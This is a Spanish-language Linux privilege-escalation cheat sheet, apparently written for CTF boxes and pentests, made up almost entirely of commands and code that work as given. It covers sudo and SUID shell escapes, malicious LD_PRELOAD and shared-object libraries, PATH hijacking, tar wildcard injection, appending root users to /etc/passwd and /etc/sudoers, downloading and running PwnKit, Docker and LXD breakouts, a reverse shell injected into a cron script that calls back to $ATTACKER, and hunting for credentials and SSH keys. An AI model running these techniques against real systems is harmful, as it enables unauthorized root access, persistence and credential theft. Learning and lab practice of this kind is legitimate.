Mi referencia de cabecera para Linux privesc. Cada box es diferente pero el checklist es siempre el mismo. Recorrelo metódicamente y vas a encontrar el camino.


Enumeración Inicial

Correr estos primero. Cada vez. Sin excepciones.

# Quién soy
whoami
id
hostname

# Info del OS
cat /etc/os-release
uname -a
cat /proc/version

# Derechos sudo — LO PRIMERO QUE REVISAS
sudo -l

# Usuarios
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group

# Red
ip a
ss -tulnp
netstat -tulnp

# Procesos corriendo
ps auxf

# Paquetes instalados (buscar cosas custom/inusuales)
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null

# Filesystems montados
mount
cat /etc/fstab

# Variables de entorno
env
cat /etc/profile
cat ~/.bashrc

Tip: ss -tulnp revela servicios internos no visibles desde tu nmap scan. Encontrás MySQL, Redis, o algo en localhost? Eso es tu pivote.


Enumeración Automatizada

# LinPEAS — el GOAT
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# O transferir y correr
wget http://$ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# LinEnum
./linenum.sh -t

# pspy — monitorear procesos sin root (captura cron jobs)
./pspy64

Ojo: Si no podés transferir archivos, probá encodear en base64 o copiar-pegar. O simplemente correr las revisiones manuales de abajo.


Abuso de Sudo

sudo -l

Este es el comando más importante en Linux privesc. Punto.

Patrones de GTFOBins

Revisar cada binario contra GTFOBins.

# Wins comunes de sudo
sudo vim -c '!sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo less /etc/shadow  # después !sh
sudo man man  # después !sh
sudo env /bin/sh
sudo nmap --interactive  # versiones viejas: !sh
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh

# Escapes de editores
sudo vi  # :!sh o :set shell=/bin/sh después :shell
sudo nano  # Ctrl+R, Ctrl+X, después comando

sudo con NOPASSWD y env_keep

# Abuso de LD_PRELOAD — si env_keep+=LD_PRELOAD en sudo -l
# 1. Escribir shared object malicioso
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

# 2. Compilar
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 3. Correr cualquier comando sudo permitido con el
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>

sudo con LD_LIBRARY_PATH

# Si env_keep+=LD_LIBRARY_PATH
# 1. Encontrar shared libraries que usa el binario sudo
ldd /usr/bin/<allowed_program>

# 2. Crear librería maliciosa que coincida con uno de esos nombres
cat > /tmp/libfoo.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/libfoo.so /tmp/libfoo.c
sudo LD_LIBRARY_PATH=/tmp <allowed_program>

Versiones de sudo

sudo --version
  • CVE-2021-3156 (Baron Samedit): sudo < 1.9.5p2. Heap overflow → root.
  • CVE-2019-14287: sudo -u#-1 /bin/bash cuando sudoers dice (ALL, !root).
  • CVE-2019-18634: Buffer overflow cuando pwfeedback está habilitado.

Binarios SUID/SGID

# Encontrar binarios SUID
find / -perm -4000 -type f 2>/dev/null

# Encontrar binarios SGID
find / -perm -2000 -type f 2>/dev/null

# Ambos
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

Cruzar cada resultado con GTFOBins. Enfocarse en cualquier cosa no estándar.

Exploits Comunes de SUID

# Binario SUID custom llamando system() sin full path
# Revisar con:
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary

# Si llama algo como system("service apache2 start")
# PATH hijack:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary

# SUID bash/sh
/bin/bash -p
/bin/sh -p

# SUID cp — sobreescribir /etc/passwd o /etc/shadow
# Generar hash de password:
openssl passwd -1 hacked
# Crear passwd modificado con entrada root
# Copiar encima con el SUID cp

# SUID find
find . -exec /bin/sh -p \; -quit

# SUID python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Ojo: El flag -p es crítico con bash/sh SUID. Sin él, bash tira los privilegios.


Linux Capabilities

# Encontrar binarios con capabilities
getcap -r / 2>/dev/null

Capabilities Peligrosas

CapabilityAbuso
cap_setuid+epSetear UID a 0. Root directo.
cap_setgid+epSetear GID a 0.
cap_net_raw+epPacket sniffing.
cap_dac_read_search+epLeer cualquier archivo.
cap_dac_override+epEscribir cualquier archivo.
cap_net_bind_service+epBind a puertos privilegiados.
# python3 con cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl con cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# tar con cap_dac_read_search — leer /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

# openssl con cap_setuid
openssl req -engine /tmp/privesc.so  # custom engine

Cron Jobs

# System cron
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*

# User crons
crontab -l
crontab -l -u root 2>/dev/null

# systemd timers
systemctl list-timers --all

# Vigilar procesos (pspy es mejor pero esto funciona)
watch -n 1 'ps aux | grep -v watch'

Explotación de Cron

# 1. El script es escribible por vos → inyectar reverse shell
echo 'bash -i >& /dev/tcp/$ATTACKER/9001 0>&1' >> /path/to/cron_script.sh

# 2. El script referencia un directorio escribible → PATH hijack
# Si cron corre: /usr/local/bin/backup.sh que llama "tar" sin full path
# Y PATH en crontab empieza con un directorio escribible

# 3. Wildcard injection (tar, rsync, chown)
# Cron corre: tar czf /tmp/backup.tar.gz *
# En el directorio de trabajo:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > privesc.sh

# 4. El script de cron no existe pero el directorio es escribible
# Solo crearlo con tu payload

Tip: pspy es el verdadero MVP acá. Algunos cron jobs no aparecen en crontab pero igual corren. pspy captura todo.


Archivos y Directorios Escribibles

# Archivos world-writable
find / -writable -type f 2>/dev/null | grep -v proc

# Directorios world-writable
find / -writable -type d 2>/dev/null

# Archivos del usuario actual
find / -user $(whoami) -type f 2>/dev/null

# /etc/passwd escribible — root instantáneo
openssl passwd -1 hacked
# Agregar a /etc/passwd:
echo 'root2:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2

# /etc/shadow escribible — reemplazar hash de root
mkpasswd -m sha-512 hacked
# Reemplazar el hash de root en /etc/shadow

PATH Hijacking

Funciona cuando un script/binario privilegiado llama a otro binario sin el full path.

# 1. Encontrar la llamada vulnerable
strings /path/to/suid_binary  # buscar system calls
strace /path/to/suid_binary 2>&1 | grep exec

# 2. Crear binario malicioso
echo '/bin/bash -p' > /tmp/targetcmd
chmod +x /tmp/targetcmd

# 3. Poner al principio del PATH
export PATH=/tmp:$PATH

# 4. Correr el binario vulnerable
/path/to/suid_binary

Kernel Exploits

Último recurso. Puede crashear la box. Pero a veces es la única forma.

# Recopilar info
uname -a
cat /proc/version
cat /etc/os-release

Kernel Exploits Notables

CVENombreVersiones de Kernel
CVE-2016-5195Dirty COW< 4.8.3
CVE-2021-4034PwnKit (pkexec)Polkit < 0.120
CVE-2021-3156Baron Sameditsudo < 1.9.5p2
CVE-2022-0847Dirty Pipe5.8 <= kernel < 5.16.11
CVE-2022-2588DirtyCredkernel < 5.19
CVE-2023-0386OverlayFSkernel < 6.2
CVE-2023-32233nf_tableskernel < 6.4
# PwnKit — funciona en la mayoría de sistemas con polkit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

# Dirty Pipe
# Descargar exploit, compilar en el target o cross-compilar
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd 1 "${openssl_hash}"

Ojo: Siempre probar PwnKit primero. Funciona en una cantidad sorprendente de boxes y no crashea nada.


NFS

# Revisar shares NFS
showmount -e $IP
cat /etc/exports

# Buscar no_root_squash
cat /etc/exports | grep no_root_squash

Explotación de no_root_squash

# En la máquina atacante (como root)
mkdir /tmp/nfs
mount -t nfs $IP:/share /tmp/nfs

# Crear binario SUID
cat > /tmp/nfs/shell.c << 'EOF'
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod u+s /tmp/nfs/shell

# En el target — correr el binario SUID
/share/shell

Docker / Container Breakout

# Estoy en un container?
cat /proc/1/cgroup 2>/dev/null | grep docker
ls -la /.dockerenv
hostname  # hex random = probablemente container

# Docker socket accesible?
ls -la /var/run/docker.sock

# Usuario en grupo docker? → root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Docker socket mount escape
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# Privileged container escape
# Revisar: cat /proc/self/status | grep CapEff
# Si 0000003fffffffff — estás privilegiado
mkdir /tmp/escape && mount -t cgroup -o rdma cgroup /tmp/escape
# O usar CDK tool

Grupo LXD/LXC

# Usuario en grupo lxd → root
# En el atacante: buildear imagen alpine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

# Transferir al target
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Root filesystem en /mnt/root

Búsqueda de Credenciales

# Archivos de historial
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.nano_history

# Archivos de config con passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | head -30
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null
grep -ri "pass\|pwd\|token\|secret\|key" /home/ 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# Configs de web apps
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null

# Credenciales de base de datos
cat /etc/mysql/debian.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null

# Reutilización de password — encontraste una password? Probala para root
su root

Tip: La reutilización de passwords es absurdamente común. Cada password que encontrés, probala para root y cada otro usuario en la box.


Misceláneo

/etc/sudoers Escribible

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo su

Mail

cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)

Shared Object Injection

# Binario SUID cargando un archivo .so faltante
strace /path/to/suid_binary 2>&1 | grep "No such file"
# Si intenta cargar /home/user/.config/libfoo.so

cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /home/user/.config/libfoo.so /tmp/privesc.c
/path/to/suid_binary

Servicios Internos

# Port forward para acceder servicios internos
# SSH local forward
ssh -L 8080:127.0.0.1:8080 user@$IP

# Chisel
# Atacante: chisel server --reverse --port 8001
# Target:   chisel client $ATTACKER:8001 R:8080:127.0.0.1:8080

Checklist de Victorias Rápidas

  1. sudo -l — siempre primero
  2. Binarios SUID → GTFOBins
  3. Capabilities → cap_setuid es root gratis
  4. Cron jobs con scripts escribibles o wildcard injection
  5. /etc/passwd escribible
  6. Versión de kernel → PwnKit, Dirty Pipe
  7. Membresía en grupo Docker/lxd
  8. Credenciales en archivos de config, historial, entorno
  9. Servicios internos en localhost
  10. NFS con no_root_squash
  11. SSH keys tiradas por ahí
  12. Reutilización de passwords en todos lados